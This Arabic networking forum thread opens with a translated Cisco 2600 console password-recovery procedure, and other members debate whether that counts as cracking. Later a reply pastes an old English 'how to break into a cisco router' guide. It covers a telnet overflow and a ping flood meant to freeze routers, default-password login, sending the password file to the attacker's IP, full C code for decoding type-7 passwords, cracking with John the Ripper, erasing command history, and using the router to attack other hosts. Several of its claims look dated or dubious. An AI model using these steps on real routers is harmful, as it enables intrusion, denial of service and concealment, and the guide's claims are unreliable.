كيف تقوم بعمل password recovery

[memoragaa]

إخوانى الكرام السلام عليكم ورحمة الله وبركاته
أقدم لكم اليوم طريقة كسر الباسوورد الخاصة بالراوتر السيسكو إذا نسيت الباسوورد انا عارف انها حاجة قديمة بس على قدى ( انا كنت كتبت الطريقة دى قبل كده فى مشاركة فى موضوع ) بس قولت اخليها موضوع لوحديها علشان اللى ميعرفها يعرفها

يارب تعجبكم طريقة الشرح

Use these terminal settings:
•9600 baud rate
•No parity
•8 data bits
•1 stop bit
•No flow control
دى الإعدادات اللى هتعمل برنامج HyperTerminal عليها بعد ما توصل الراوتر طبعا بالكمبيوتر الخاص بك عن طريق كابل Serial فى الكمبيوتر ومخرج AUX فى الراوتر ( RJ45 ) طبعا

المهم الكلام ده والراوتر مفصول عنه الكهرباء طبعا .
وقبل ما تشغل الراوتر او وانت بتشغله دوس فى الكيبورد على الأزرار الاتية وذلك حسب الجدول المبين لكل نوع ويندوز والضغط لمدة 60 ثانية
Standard Break Key Combinations
Software Platform Operating System Try This
Hyperterminal IBM Compatible Windows XP Ctrl-Break
Hyperterminal IBM Compatible Windows 2000 Ctrl-Break
Hyperterminal IBM Compatible Windows 98 Ctrl-Break
هيظهرلك على شاشة البرنامج الشكل الآتى
rommon 1 >
rommon 1 > confreg 0x2142 هتكتب الأمر ده وده علشان الراوتر لما يجى يقوم ويحمل السوفت وير
بتاعه ما يعديش على الخطوة اللى فيها الباسوورد .
وبعد كده تضغط enter طبعا هيظهر لك المحث كده rommon 2 >
تكتب reset وهيبقى شكله كده rommon 2 > reset وبعد كده تدوس enter

هتلاقى الراوتر عمل ريستارت طبعا وفتح من اول وجديد بس المرة دى مش هتدوس على اى حاجة خالص هتسيبه لغاية ما يفتح وبعد كده الراوتر هيطلب منك عمل الإعدادات أوتوماتيك سعادتك هترفض وتكتب no

وهتدوس ctrl+c
Router> enable وتكتب كده
Router# configure memory or type copy startup−config running−config
هنكتب الأمر ده علشان ينسخ الاوامر اللى موجودة فى الذاكرة المؤقتة للراوتر فى الذاكرة الرئيسية للراوتر
in order to copy the nonvolatile RAM (NVRAM) into memory
وبعد كده هتكتب configure terminal علشان نبدأ نعمله إعدادات الباسوورد الجديدة له
Router# configure terminal
Router (config) # enable secret cisco ( Cisco = any new password you need it )
هنا بتكتب الباسوورد الجديدة اللى انت هتعملها على الراوتر
خلى بالك ان انت فى المود ده كل interface are down داون اوتوماتيك بعد ما تعمل الباسوورد هتدخل على كل الInterface اللى انت بتستعملها وتخليها up
وبعد كده router(config)#config−register 0x2102
علشان الراوتر لما يعمل اعادة تشغيل يحمل السوفت وير من الذاكرة
Ctrl + z
وبعد كده تكتب router# write memory or copy running−config startup−config
علشان يخزن البيانات على ذاكرة الراوتر

وده البيانات اللى بيعملها الراوتر

*** System received an abort due to Break Key ***
signal= 0x3, code= 0x500, context= 0x813ac158
PC = 0x802d0b60, Vector = 0x500, SP = 0x80006030
rommon 1 > confreg 0x2142
You must reset or power cycle for new config to take effect
rommon 2 > reset
System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1)
Copyright (c) 1999 by cisco Systems, Inc.
TAC:Home:SW:IOS:Specials for info
C2600 platform with 32768 Kbytes of main memory
program load complete, entry point: 0x80008000, size: 0x6fdb4c
Self decompressing the image : ###############################
################################################## ############
################################################## ############
################################################## ############
############################### [OK]
Restricted Rights Legend
Use, duplication, or disclosure by the Government is
subject to restrictions as set forth in subparagraph
(c) of the Commercial Computer Software − Restricted
Rights clause at FAR sec. 52.227−19 and subparagraph
(c) (1) (ii) of the Rights in Technical Data and Computer
Software clause at DFARS sec. 252.227−7013.
cisco Systems, Inc.
170 West Tasman Drive
San Jose, California 95134−1706
Cisco Internetwork Operating System Software
IOS (tm) C2600 Software (C2600−IS−M), Version 12.0(7)T, RELEASE SOFTWARE (fc2)
Copyright (c) 1986−1999 by cisco Systems, Inc.
Cisco − Password Recovery Procedure for the Cisco 2600 and 2800 Series Routers
Compiled Tue 07−Dec−99 02:21 by phanguye
Image text−base: 0x80008088, data−base: 0x80C524F8
cisco 2611 (MPC860) processor (revision 0x202) with 26624K/6144K bytes of memory.
Processor board ID JAB031202NK (3878188963)
M860 processor: part number 0, mask 49
Bridging software.
X.25 software, Version 3.0.0.
Basic Rate ISDN software, Version 1.1.
2 Ethernet/IEEE 802.3 interface(s)
2 Serial(sync/async) network interface(s)
1 ISDN Basic Rate interface(s)
32K bytes of non−volatile configuration memory.
8192K bytes of processor board System flash partition 1 (Read/Write)
8192K bytes of processor board System flash partition 2 (Read/Write)
−−− System Configuration Dialog −−−
Would you like to enter the initial configuration dialog? [yes/no]: n
Press RETURN to get started!
00:00:19: %LINK−3−UPDOWN: Interface BRI0/0, changed state to up
00:00:19: %LINK−3−UPDOWN: Interface Ethernet0/0, changed state to up
00:00:19: %LINK−3−UPDOWN: Interface Ethernet0/1, changed state to up
00:00:19: %LINK−3−UPDOWN: Interface Serial0/0, changed state to down
00:00:19: %LINK−3−UPDOWN: Interface Serial0/1, changed state to down
00:00:20: %LINEPROTO−5−UPDOWN: Line protocol on Interface BRI0/0,
changed state to down
00:00:20: %LINEPROTO−5−UPDOWN: Line protocol on Interface Ethernet0/0,
changed state to up
Router>
00:00:20: %LINEPROTO−5−UPDOWN: Line protocol on Interface Ethernet0/1,
changed state to up
00:00:20: %LINEPROTO−5−UPDOWN: Line protocol on Interface Serial0/0,
changed state to down
00:00:20: %LINEPROTO−5−UPDOWN: Line protocol on Interface Serial0/1,
changed state to down
00:00:50: %SYS−5−RESTART: System restarted −−
Cisco Internetwork Operating System Software
IOS (tm) C2600 Software (C2600−IS−M), Version 12.0(7)T, RELEASE SOFTWARE (fc2)
Copyright (c) 1986−1999 by cisco Systems, Inc.
Compiled Tue 07−Dec−99 02:21 by phanguye
00:00:50: %LINK−5−CHANGED: Interface BRI0/0,
changed state to administratively down
00:00:52: %LINK−5−CHANGED: Interface Ethernet0/0,
changed state to administratively down
00:00:52: %LINK−5−CHANGED: Interface Serial0/0,
changed state to administratively down
changed state to down
Router>
Router>enable
Router#copy startup−config running−config
Destination filename [running−config]?
1324 bytes copied in 2.35 secs (662 bytes/sec)
Router#
Router#configure terminal
Router(config)#enable secret < password >
Router(config)#^Z
00:01:54: %SYS−5−CONFIG_I: Configured from console by console
Router#show ip interface brief
Interface IP−Address OK? Method Status Protocol
Ethernet0/0 10.200.40.37 YES TFTP administratively down down
Serial0/0 unassigned YES TFTP administratively down down
Loopback0 193.251.121.157 YES TFTP up up
Router#configure terminal
Router(config)#interface Ethernet0/0
Router(config−if)#no shutdown
Router(config−if)#
00:02:14: %LINK−3−UPDOWN: Interface Ethernet0/0, changed state to up
00:02:15: %LINEPROTO−5−UPDOWN: Line protocol on Interface Ethernet0/0,
changed state to up
TEI 68 changed to up
Router(config−if)#^Z
Router#
00:02:35: %SYS−5−CONFIG_I: Configured from console by console
Router#copy running−config startup−config
Destination filename [startup−config]?
Building configuration...
[OK]
Router#configure terminal
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)#config−register 0x2102
Router(config)#^Z
00:03:20: %SYS−5−CONFIG_I: Configured from console by console
Router#show version
Cisco Internetwork Operating System Software
IOS (tm) C2600 Software (C2600−IS−M), Version 12.0(7)T, RELEASE SOFTWARE (fc2)
Copyright (c) 1986−1999 by cisco Systems, Inc.
Compiled Tue 07−Dec−99 02:21 by phanguye
Image text−base: 0x80008088, data−base: 0x80C524F8
ROM: System Bootstrap, Version 11.3(2)XA4, RELEASE SOFTWARE (fc1)
Router uptime is 3 minutes
System returned to ROM by abort at PC 0x802D0B60
System image file is "flash:c2600−is−mz.120−7.T"
cisco 2611 (MPC860) processor (revision 0x202)
with 26624K/6144K bytes of memory.
Processor board ID JAB031202NK (3878188963)
M860 processor: part number 0, mask 49
Bridging software.
X.25 software, Version 3.0.0.
Basic Rate ISDN software, Version 1.1.
2 Ethernet/IEEE 802.3 interface(s)
2 Serial(sync/async) network interface(s)
1 ISDN Basic Rate interface(s)
32K bytes of non−volatile configuration memory.
8192K bytes of processor board System flash partition 1 (Read/Write)
8192K bytes of processor board System flash partition 2 (Read/Write)
Configuration register is 0x2142 (will be 0x2102 at next reload)
Router#

[MaaM]

أخي memoragaa
هذه الطريقة ليست كسر لكلمة المرور ولكنها لاسترجاع أو اعادة عمل واحدة مرة أخرى
وجزاك الله كل خير

[memoragaa]

ازاى اخى الكريم وما الفرق بين الكسر وبين عمل واحدة اخرى وإلغاء الكلمة القديمة
أفدنى أفادك الله

وعلى فكرة دى ترجمة للكتاب ده
Cisco − Password Recovery Procedure for the Cisco 2600 and 2800 Series Routers

[mohammedsn]

أخي الكريم هذا ليس كسر ابدل للباسورد
يعني ازاي اخي تتصور ان اللي يشرح لك طريقة كسر الباسورد هو موقع سيسكو نفسه إيه بيثبت انه فاشل ههههههههههههه

لاء طبعا

امال ايه ده
ده حاجة اسمها password recovery

تقولي يا سيدي اهي كلها مسيات و السلام ؟
اقولك لاء طبعا
ما هو كنت لازم تذكر أنت في الاول غن الطريقة ده مش بتتعمل غير من ال console
و طبعا مش معقولة الهاكر يعني هيوصل لحد ال console بتاع الرواتر
طيب ما يخده و يمشي احسن هههههههههههه

و مش ممكن تعكلها ابدا من على ال telnet
فالطريقة ده مش ممكن يعملها غير واحد trusted 100% يعني موثوق منه جدا
لدرجة اننا خليناه يتعامل مع الروتر مباشرة

و كمان علشان مش معقول أنا اجي اشتغل عندك و يوم ما نتخانق اغير الباسورد و امشي
انت تقعد تعيط ههههههههه
و تقول الروتر بقي عبارة عن حته حديدة

يا رب تكون فهمت الفرق

اما الهاكر أو كسر الباسورد ده يكون بقي لو عرفت تعمله من ال telnet يعني من مكان بعيد مثلا

و لو عرفت ابقي تعالي قولي و احنا نبوظ شبكات البلد كلها ههههههههههه

[memoragaa]

تمام انا معاك انى نسيت أكتب فى الأول انه لازم يكون عن طريق كابل الكونسول والعنوان جه غلط برضه انا اسف على اللخبطة بس ما هو مفيش طريقة اخرى لتغيير الباسوورد الخاص بالراوتر لو نيسيتها غير ده صح ولا انا غلطان اصلى انا فهمت ان فيه طريقة تانية للتغيير الباسوورد بدون معرفتك للباسوورد الأولى

بس كده

على فكرة شرحك لل CCNA تحفة ربنا يكرمك ويجازيك خير يا اخى وانا بصراحة بنزله وبراجع منه علشان ناوى امتحن قريب انشاء الله

[mohammedsn]

تمام أخي الكريم

انا بعد إذنك يعني قمت بتغيير العنوان بدل انت قلت بانه حدث غلط بالعنوان
ده بعد إذنك طبعا

و ربنا يوفقك و تمتحن و ييسر لك الصعب و اكون عند حسن ظنك

[Cisco mate]

memoragaa جزاك الله كل خير علي المجهود الرائع

[lumark_s]

مجهود جميل يا جميل

بارك الله فيك وأحسن إليك

[forMyIslam]

أشكر الأخ على معلوماته


ولكن حسب معلوماتي فإن هذه الطريقة تختلف من جهاز لجهاز

وعندما أريد استرجاع الباسوورد لأي جهاز أرجع للصفحة التالية

https://www.cisco.com/en/US/products...801746e6.shtml

[memoragaa]

تمام اخى الكريم وانا نسيت اكتب برضه ( إعذرونى الزهايمر عامل شغال معايا ) ان الطريقة دى للراوترات من موديلات 2600 و 1600 و 1700

[eslam_elsadat]

ربنا يكرمك يا رب

[boguce]

بارك الله فيك يا أخي

[one-zero]

كان فيه مقالة قديمـــــــــــــــــــــــــــــــــة بتشرح كسر كلمة السر وليس استرجاع كلمة السر . تقريبا ايام v4

how to break into a cisco router

Cisco routers running v4.1 software (which currently is most of them) will be easily disabled. You simply connect to
the router on port 23 through your proxy server, and enter a HUGE password string, something like;

10293847465qpwoeirutyalskdjfhgzmxncbv019dsk1029384 7465qpwoeirutyalskdjfhgzmxncbv019dsk10293847465qpw oeirutyalskdjfhgzmxncbv019dsk10293847465qpwoeiruty alskdjfhgzmxncbv019dsk10293847465qpwoeirutyalskdjf hgzmxncbv019dsk10293847465qpwoeirutyalskdjfhgzmxnc bv019dsk10293847465qpwoeirutyalskdjfhgzmxncbv019ds k10293847465qpwoeirutyalskdjfhgzmxncbv019dsk

Now wait, the cisco system might reboot, in which case you can't hack it because it is offline.. But it will
probably freeze up for a period of 2-10 minutes, which you must use to get in.

If neither happens, then it is not running the vulnerable software, in which case you can try several DoS attacks,
like a huge ping. Go to dos and type "ping -l 56550 cisco.router.ip -t", this will do the same trick for you.

While it is frozen, open up another connection to it from some other proxy, and put the password as "admin", the
reason for this is because by default, this is the router's password, and while it is temporarily disabled, it will
revert to it's default state.

Now that you have logged in, you must acquire the password file! The systems run different software, but most will
have a prompt like "htl-textil" or something, now type "?" for a list of commands, you will see a huge list of
commands, somewhere in there you will find a transfer command, use that to get the password file of admin (which is
the current user) and send it to your own IP address on port 23. But before you do this, set up HyperTerminal to
wait for a call from the cisco router. Now once you send the file, HyperTerminal will ask you if you want to accept
the file that this machine is sending you, say yes and save it to disk. Logout.

You are now past the hardest part, give yourself a pat on the back and get ready to break that password!

------------------------------

Section 4: breaking the password

Now that you have acquired the password file, you have to break it so you can access the router again. To do this,
you can run a program like John the Ripper or something on the password file, and you may break it.

This is the easiest way, and the way i would recommend. Another way would be to try and decrypt it. For this you
will need some decryption software, a lot a patience, and some of the decryption sequences.

Here is a sequence for decrypting a cisco password, you have to compile this in linux:

#include <stdio.h>
#include <ctype.h>

char xlat[] = {
0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f,
0x41, 0x2c, 0x2e, 0x69, 0x79, 0x65, 0x77, 0x72,
0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44
};

char pw_str1[] = "password 7 ";
char pw_str2[] = "enable-password 7 ";

char *pname;

cdecrypt(enc_pw, dec_pw)
char *enc_pw;
char *dec_pw;
{
unsigned int seed, i, val = 0;

if(strlen(enc_pw) & 1)
return(-1);

seed = (enc_pw[0] - '0') * 10 + enc_pw[1] - '0';

if (seed > 15 || !isdigit(enc_pw[0]) || !isdigit(enc_pw[1]))
return(-1);

for (i = 2 ; i <= strlen(enc_pw); i++) {
if(i !=2 && !(i & 1)) {
dec_pw[i / 2 - 2] = val ^ xlat[seed++];
val = 0;
}

val *= 16;

if(isdigit(enc_pw[i] = toupper(enc_pw[i]))) {
val += enc_pw[i] - '0';
continue;
}

if(enc_pw[i] >= 'A' && enc_pw[i] <= 'F') {
val += enc_pw[i] - 'A' + 10;
continue;
}

if(strlen(enc_pw) != i)
return(-1);
}

dec_pw[++i / 2] = 0;

return(0);
}

usage()
{
fprintf(stdout, "Usage: %s -p <encrypted password>\n", pname);
fprintf(stdout, " %s <router config file> <output file>\n", pname);

return(0);
}

main(argc,argv)
int argc;
char **argv;

{
FILE *in = stdin, *out = stdout;
char line[257];
char passwd[65];
unsigned int i, pw_pos;

pname = argv[0];

if(argc > 1)
{
if(argc > 3) {
usage();
exit(1);
}

if(argv[1][0] == '-')
{
switch(argv[1][1]) {
case 'h':
usage();
break;

case 'p':
if(cdecrypt(argv[2], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
fprintf(stdout, "password: %s\n", passwd);
break;

default:
fprintf(stderr, "%s: unknow option.", pname);
}

return(0);
}

if((in = fopen(argv[1], "rt")) == NULL)
exit(1);
if(argc > 2)
if((out = fopen(argv[2], "wt")) == NULL)
exit(1);
}

while(1) {
for(i = 0; i < 256; i++) {
if((line[i] = fgetc(in)) == EOF) {
if(i)
break;

fclose(in);
fclose(out);
return(0);
}
if(line[i] == '\r')
i--;

if(line[i] == '\n')
break;
}
pw_pos = 0;
line[i] = 0;

if(!strncmp(line, pw_str1, strlen(pw_str1)))
pw_pos = strlen(pw_str1);

if(!strncmp(line, pw_str2, strlen(pw_str2)))
pw_pos = strlen(pw_str2);

if(!pw_pos) {
fprintf(stdout, "%s\n", line);
continue;
}

if(cdecrypt(&line[pw_pos], passwd)) {
fprintf(stderr, "Error.\n");
exit(1);
}
else {
if(pw_pos == strlen(pw_str1))
fprintf(out, "%s", pw_str1);
else
fprintf(out, "%s", pw_str2);

fprintf(out, "%s\n", passwd);
}
}
}

If you do not have Linux, then the only way to break the password is to run a dictionary or brute-force attack on
the file with John the Ripper or another password-cracker.

-------------------------------

Section 5: using the router

To use this wonderful piece of technology, you will have to be able to connect to it, use a proxy if you do not want
your IP logged. Once you have logged in, you'll want to disable the history so no one can look at what you were
doing, type in "terminal history size 0". Now it won't remember anything! Type "?" for a list of all of the router's
commands, and you will be able to use most of them.

These routers usually have telnet, so you can use telnet to connect to other systems, (like unix boxes) and hack
into them. It also is equipped with ping and traceroute, which you can use to trace systems or do DoS attacks. You
may also be able to use it to intercept packets, but i do not recommend this, as it will not always work, and may
get you noticed....

---------------------------------

If you don't hack a cisco your first time, don't worry... you probably won't do it the first time, or even the
second. It takes practice and patience. This is just to show you how... And make sure you are going after something
that is LEGAL.

[محمد مندور]

عاش الشباب وربنا معاكم وجزاكم الله خيرا

[MOHAMMEDTA]

وجزاكم الله خيرا